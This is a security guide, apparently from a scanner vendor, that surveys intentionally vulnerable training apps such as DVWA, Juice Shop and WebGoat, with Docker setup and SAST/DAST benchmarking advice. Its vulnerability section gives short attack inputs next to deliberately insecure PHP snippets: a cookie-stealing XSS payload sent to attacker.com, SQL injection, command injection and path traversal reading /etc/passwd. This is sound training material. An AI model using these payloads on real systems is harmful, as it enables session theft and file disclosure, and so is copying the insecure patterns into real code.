Intentionally Vulnerable Web Applications: Complete 2026 Guide

Intentionally vulnerable web applications are purpose-built tools used by security professionals, developers, and researchers to practice finding and exploiting security weaknesses in a legal, isolated environment. Unlike real-world targets, they are designed to fail under attack — making them the standard training ground for anyone learning web application security, preparing for a penetration testing certification, or benchmarking a SAST or DAST scanner.

This guide covers every major intentionally vulnerable web application available in 2026: what vulnerabilities each one contains, who it’s built for, and how to get it running in Docker. It also covers the professional use case most people overlook: using these applications to verify your security scanner actually works before pointing it at production code.

Why Intentionally Vulnerable Applications Exist

You cannot legally or safely practice web attacks against real applications without explicit authorization. Even testing your own production application carries risk — security probes can trigger outages, corrupt data, and set off security alerts in ways that are hard to predict.

Intentionally vulnerable web applications solve this problem completely:

Legal to attack — they exist specifically to be exploited
Isolated — typically a Docker container running on your local machine
Resettable — restart the container to restore clean state instantly
Educational — most include documentation explaining why each vulnerability exists
Representative — the vulnerability classes are identical to those found in real production code

There are three primary professional use cases:

1. Security training and skill development
Developers and security engineers learn how SQL injection, cross-site scripting, broken authentication, and other attacks work from an attacker’s perspective — building the pattern recognition needed to avoid writing the same bugs in production code.

2. SAST and DAST scanner benchmarking
Before deploying a security scanner on real code, you should verify it can detect known vulnerabilities in a controlled environment. If your SAST tool can’t find SQL injection in DVWA’s low.php — where the vulnerability is completely unobfuscated — it will miss similar patterns in your production codebase.

3. Certification preparation
OSCP, CEH, GWAPT, eWPT, and other hands-on security certifications require demonstrating practical exploitation skills. Intentionally vulnerable web applications provide unlimited legal practice targets.

The Most Important Intentionally Vulnerable Web Applications

DVWA (Damn Vulnerable Web Application)

Language: PHP / MySQL
Best for: OWASP Top 10 fundamentals, PHP SAST benchmarking, beginners

DVWA is the most widely deployed intentionally vulnerable web application in the world. It’s a PHP application with MySQL backend where every vulnerability page shows the source code at three difficulty levels — Low (completely unobfuscated), Medium (basic evasion), and High (near-production patterns). This makes it uniquely valuable for learning: you can see exactly what makes code vulnerable at each difficulty level.

Vulnerabilities:

SQL Injection (manual and boolean-based blind)
Command Injection
Cross-Site Scripting (Reflected and Stored)
Cross-Site Request Forgery (CSRF)
File Inclusion (Local and Remote — LFI/RFI)
Unrestricted File Upload
Brute Force (with and without CAPTCHA)
Weak Session IDs

docker run --rm -it -p 80:80 vulnerables/web-dvwa
# Open: http://localhost/
# Credentials: admin / password
# First step: click "Create / Reset Database"

Why it matters for SAST benchmarking: Clone the DVWA GitHub repository and run your SAST scanner against the source. Then check whether the scanner flags:

SQL injection in vulnerabilities/sqli/source/low.php
Command injection in vulnerabilities/exec/source/low.php
File inclusion in vulnerabilities/fi/source/low.php

Any SAST tool that fails to flag the low.php files — where vulnerabilities are completely unobfuscated — is not ready for your production PHP codebase.

OWASP Juice Shop

Language: Node.js / Express / Angular
Best for: Realistic DAST testing, modern web architecture, CTF events

OWASP Juice Shop is the most realistic intentionally vulnerable web application available. It’s a fully functional e-commerce single-page application — complete with a product catalog, shopping cart, user authentication, admin panel, and REST API — that happens to be riddled with over 100 security vulnerabilities.

Unlike DVWA’s teaching-oriented UI, Juice Shop looks like a real application. This is its key advantage for DAST testing: it has the same authenticated session handling, JWT-based API authentication, file upload endpoints, and complex navigation that you’d find in a production web application.

Vulnerabilities (selected):

SQL Injection (login, search, product API)
NoSQL Injection (MongoDB query operators)
JWT algorithm confusion (alg: none, RS256→HS256)
IDOR / BOLA (basket, order, user endpoints)
Stored and Reflected XSS
DOM-based XSS
XXE (XML upload endpoint)
SSRF
Insecure deserialization (coupon manipulation)
CORS misconfiguration
Missing security headers

docker run --rm -p 3000:3000 bkimminich/juice-shop
# Open: http://localhost:3000/
# Scoreboard: http://localhost:3000/#/score-board

CTF mode: Juice Shop supports CTF mode for team training exercises. Each solved challenge generates a flag token that integrates with CTFd and similar platforms.

DAST benchmarking: Before scanning your production application with a DAST tool, scan a local Juice Shop instance. Verify the scanner finds at minimum:

SQL injection in the login form and search endpoint
Reflected XSS in search results
Missing Content-Security-Policy header
Open redirect in the navigation

A DAST tool that misses these obvious, well-documented vulnerabilities in Juice Shop is not ready for your production application.

WebGoat

Language: Java / Spring
Best for: Java developer training, Java SAST benchmarking, guided learning

WebGoat is OWASP’s Java-based security training application. Each lesson includes a vulnerability explanation, an interactive lab where you must successfully exploit the vulnerability to proceed, and documentation on the fix. It’s more structured than DVWA or Juice Shop — designed for step-by-step learning rather than open-ended exploration.

Vulnerabilities (selected):

SQL Injection (including order-by injection, blind injection)
Cross-Site Scripting
Insecure Deserialization (Java ObjectInputStream)
JWT attacks (forging tokens, weak signing)
Path Traversal
XXE injection
SSRF
Access control failures
Cryptographic failures

docker run -it -p 8080:8080 -p 9090:9090 webgoat/webgoat
# Open: http://localhost:8080/WebGoat
# Register a new account to start lessons

Why it matters for Java SAST: WebGoat’s Spring MVC source code contains the same vulnerability patterns found in enterprise Java applications. Clone it and run your SAST scanner to verify it handles:

JDBC executeQuery() with string concatenation
Spring MVC @RequestParam as a taint source
Insecure ObjectInputStream.readObject() deserialization

bWAPP (Buggy Web Application)

Language: PHP
Best for: Maximum vulnerability breadth, advanced practitioners

bWAPP covers over 100 vulnerability types — more than any other single intentionally vulnerable application. If you need exposure to vulnerability classes beyond the OWASP Top 10, bWAPP is the most comprehensive single source.

Unique coverage:

SSRF (Server-Side Request Forgery) scenarios
LDAP injection
SMTP header injection
XML and XPath injection
HTML5 security issues (localStorage, WebSocket attacks)
Simulated Heartbleed and Shellshock
iFrame injection and clickjacking
HTML injection (separate from XSS)

docker run -d -p 80:80 raesene/bwapp
# Open: http://localhost/bWAPP/install.php (run once)
# Login: http://localhost/bWAPP/login.php
# Credentials: bee / bug

NodeGoat

Language: Node.js / Express / MongoDB
Best for: Node.js SAST benchmarking, JavaScript-specific vulnerabilities

NodeGoat is OWASP’s intentionally vulnerable Node.js application. Where Juice Shop’s Node.js backend is complex and Angular-heavy, NodeGoat uses straightforward Express.js patterns — closer to what a typical Node.js API looks like in production.

Node.js-specific vulnerabilities:

NoSQL injection via MongoDB query operator manipulation ($gt, $ne, $where)
Server-side JavaScript injection via unsafe eval() usage
Prototype pollution
Insecure Express.js session configuration
Dependency vulnerabilities (intentionally outdated npm packages with known CVEs)
Missing HTTP security headers

git clone https://github.com/OWASP/NodeGoat
cd NodeGoat
npm install
docker-compose up
# Open: http://localhost:4000/
# Default credentials: admin / Admin_123

Why it matters for Node.js SAST: NodeGoat’s standard Express patterns are the right benchmark for SAST tools targeting Node.js APIs. Juice Shop’s architectural complexity can obscure detection gaps that NodeGoat’s simpler patterns will clearly expose.

AltoroJ (Altoro Mutual)

Language: Java / JSP
Best for: Banking application simulation, enterprise DAST testing

AltoroJ is a vulnerable Java/JSP banking application originally developed by IBM for security tool testing. Its simulated banking portal — with account transfers, transaction history, user management, and loan application functionality — provides a more realistic business context than tutorial-style applications.

git clone https://github.com/AppSecDev/AltoroMutual
cd AltoroMutual
mvn package
java -jar target/altoromutual.war
# Open: http://localhost:8080/
# Credentials: admin / admin

When to use it: AltoroJ is the standard benchmark for enterprise DAST tools in the financial sector. It provides more realistic test scenarios (multi-step financial transactions, account pivot attacks) than general-purpose vulnerable applications.

OWASP Mutillidae II

Language: PHP
Best for: OWASP Top 10 coverage, REST/SOAP API vulnerabilities, intermediate learners

Mutillidae II is a deliberately vulnerable PHP application with 40+ vulnerability categories organized by the OWASP Top 10. It goes beyond DVWA in covering web services and some REST API security scenarios.

docker run -d -p 80:80 -p 3306:3306 webpwnized/mutillidae
# Open: http://localhost/

Choosing the Right Application for Your Goal

Different intentionally vulnerable applications serve different purposes. Using the right one for your goal matters:

Goal	Best Application	Why
Complete beginner — learn OWASP Top 10	DVWA (Low difficulty)	Source code visible, structured levels
Realistic DAST benchmarking	OWASP Juice Shop	Modern SPA + REST API architecture
Java developer security training	WebGoat	Guided lessons, Java Spring patterns
PHP SAST benchmarking	DVWA	Unobfuscated PHP vulnerability patterns
Java SAST benchmarking	WebGoat	Spring MVC taint analysis test cases
Node.js SAST benchmarking	NodeGoat	Standard Express.js vulnerability patterns
Maximum vulnerability breadth	bWAPP	100+ vulnerability categories
Banking/financial application simulation	AltoroJ	Multi-step transaction vulnerability chains
CTF-style challenges with scoreboard	OWASP Juice Shop	Built-in scoreboard, hint system, CTF mode
Advanced real-world challenge patterns	HackTheBox web challenges	Real CVE-style vulnerabilities

Security Scanner Benchmarking: The Professional Use Case

The most underutilized application of intentionally vulnerable web apps is scanner benchmarking before production deployment. This is how security professionals verify that their tools actually work.

Benchmarking a SAST Tool

What to test:

Clone the source code of DVWA, WebGoat, or NodeGoat from GitHub and run your SAST scanner against it. Then check:

Does it find SQL injection in dvwa/vulnerabilities/sqli/source/low.php?
- If not, it will miss SQL injection in your production PHP code
Does it find command injection in dvwa/vulnerabilities/exec/source/low.php?
- This is OWASP A03 — injection — at zero obfuscation level
Does it find the Java SQL injection across methods in WebGoat?
- This tests interprocedural taint tracking — the most important SAST capability

Interpreting results:

A SAST tool that finds all Low-difficulty vulnerabilities but misses Medium/High is a pattern matcher, not a taint-analysis engine
A SAST tool that misses Low-difficulty findings entirely is not worth deploying on production code
A SAST tool that produces dozens of false positives on known-safe code (the High-difficulty pages use parameterized queries) will waste your team’s time on triage

Benchmarking a DAST Tool

What to test:

Run Juice Shop or DVWA in Docker locally and point your DAST scanner at it:

# Start Juice Shop
docker run -d -p 3000:3000 --name juice-shop bkimminich/juice-shop

# Wait for it to start
sleep 15

# Verify it's running
curl -s http://localhost:3000/ | head -5

Configure the DAST scanner with authentication:

For Juice Shop: register a test account, configure scanner to log in before scanning
For DVWA: use credentials admin/password and configure session handling

Minimum findings any DAST tool should detect in Juice Shop:

SQL injection in the login form
Reflected XSS in the product search endpoint
Missing Content-Security-Policy header
Missing X-Content-Type-Options: nosniff header
CORS misconfiguration (wildcard policy on API endpoints)

A DAST tool that misses the login form SQL injection — the most obvious, well-documented, and deliberately unobfuscated SQL injection in a purpose-built test target — is not ready for your production application.

Common Vulnerabilities in Intentionally Vulnerable Applications (and in Production Code)

Every vulnerability class covered in these practice applications maps directly to vulnerabilities found in real enterprise codebases. These are not theoretical — they are the same patterns security engineers find in production assessments every week.

SQL Injection (CWE-89)

// DVWA low.php — completely unobfuscated
$id = $_GET['id'];
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";

// Attack: ?id=1' OR '1'='1
// Result: returns all users

This exact pattern — $_GET parameter concatenated directly into a SQL query — appears in legacy PHP applications, WordPress custom plugins, and ASP.NET applications using SqlCommand with string concatenation.

Cross-Site Scripting (CWE-79)

// Reflected XSS — user input echoed without encoding
echo "<pre>Hello " . $_GET['name'] . "</pre>";

// Attack: ?name=<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>
// Result: victim's session cookie sent to attacker

Stored XSS follows the same pattern but the payload is saved to a database and executed when any user views the content — forums, product reviews, support tickets, CRM notes.

Command Injection (CWE-78)

// DVWA exec/source/low.php
$target = $_REQUEST['ip'];
$cmd = shell_exec('ping -c 4 ' . $target);

// Attack: ip=127.0.0.1; cat /etc/passwd
// Result: /etc/passwd content returned in response

Path Traversal (CWE-22)

// User-controlled filename without path validation
$file = $_GET['page'];
include('/var/www/html/' . $file);

// Attack: ?page=../../../../etc/passwd
// Result: system file contents disclosed

Broken Authentication

JWT vulnerabilities in Juice Shop represent real patterns found in production APIs:

alg: none — accepting unsigned JWTs
RS256 → HS256 confusion — using a public key as an HMAC secret
Weak JWT secrets — brute-forceable with common wordlists

These exact vulnerabilities have been found in production financial APIs, healthcare systems, and enterprise SaaS platforms.

Setting Up a Local Security Testing Lab

If you’re serious about security testing practice, run 2–3 intentionally vulnerable applications simultaneously in Docker:

# Start DVWA (PHP/MySQL vulnerabilities)
docker run -d -p 80:80 --name dvwa vulnerables/web-dvwa

# Start Juice Shop (Node.js/modern SPA vulnerabilities)
docker run -d -p 3000:3000 --name juice-shop bkimminich/juice-shop

# Start WebGoat (Java/Spring vulnerabilities)
docker run -d -p 8080:8080 -p 9090:9090 --name webgoat webgoat/webgoat

# Verify all are running
docker ps

With all three running, you have:

A PHP application for SQL injection, command injection, LFI, and XSS practice
A modern Node.js SPA for JWT attacks, API IDOR, and realistic DAST testing
A Java/Spring application for deserialization, path traversal, and Java-specific patterns

This setup also supports running SAST tools against three different language codebases and DAST tools against three different running applications — a complete scanner benchmarking environment.

Frequently Asked Questions

Is it legal to run and attack intentionally vulnerable web applications?

Yes — provided you run them in your own isolated environment (a local Docker container, private VM, or air-gapped lab). These applications are explicitly built to be attacked. Never point your security testing tools at applications running on shared or production infrastructure without explicit written authorization.

Which intentionally vulnerable web application is best for a beginner?

Start with DVWA at Low difficulty. The source code viewer shows exactly what makes each page vulnerable, and the three difficulty levels provide a natural progression. Once you can identify and exploit all vulnerability categories at Medium difficulty, move to OWASP Juice Shop for a more realistic challenge.

Can I use these applications to prepare for OSCP?

Intentionally vulnerable web applications are useful supplementary practice for OSCP’s web exploitation modules. OSCP focuses primarily on network exploitation, privilege escalation, and Active Directory. For web-specific certifications (eWPT, GWAPT), PortSwigger Web Security Academy (free, browser-based) is more targeted preparation.

Do intentionally vulnerable applications work with automated security tools?

Yes — this is one of their primary professional uses. DVWA and WebGoat are standard SAST benchmarks. Juice Shop and AltoroJ are standard DAST benchmarks. Running your security tools against these applications before deploying them on production code is standard practice in any serious security program.

How much RAM do I need to run these applications?

Most Docker-based vulnerable applications run comfortably on any machine with 4 GB of RAM available for Docker:

DVWA: ~256 MB
Juice Shop: ~512 MB
WebGoat: ~1 GB
bWAPP: ~256 MB

Running all of them simultaneously requires roughly 2 GB of RAM allocated to Docker.

Benchmark Your Security Scanner

Testing your SAST or DAST tool against intentionally vulnerable applications before deploying it on production code is the most reliable way to verify scanner effectiveness. A tool that can’t find SQL injection in DVWA’s low.php will not find similar patterns in your production codebase.

Offensive360 SAST and DAST are benchmarked against DVWA, Juice Shop, and WebGoat on every release:

Book a demo — full vulnerability report on your source code in minutes
DAST scan for your web application — authenticated dynamic scanning of your live application
Book a demo — see a live scan against a deliberately vulnerable application or your own codebase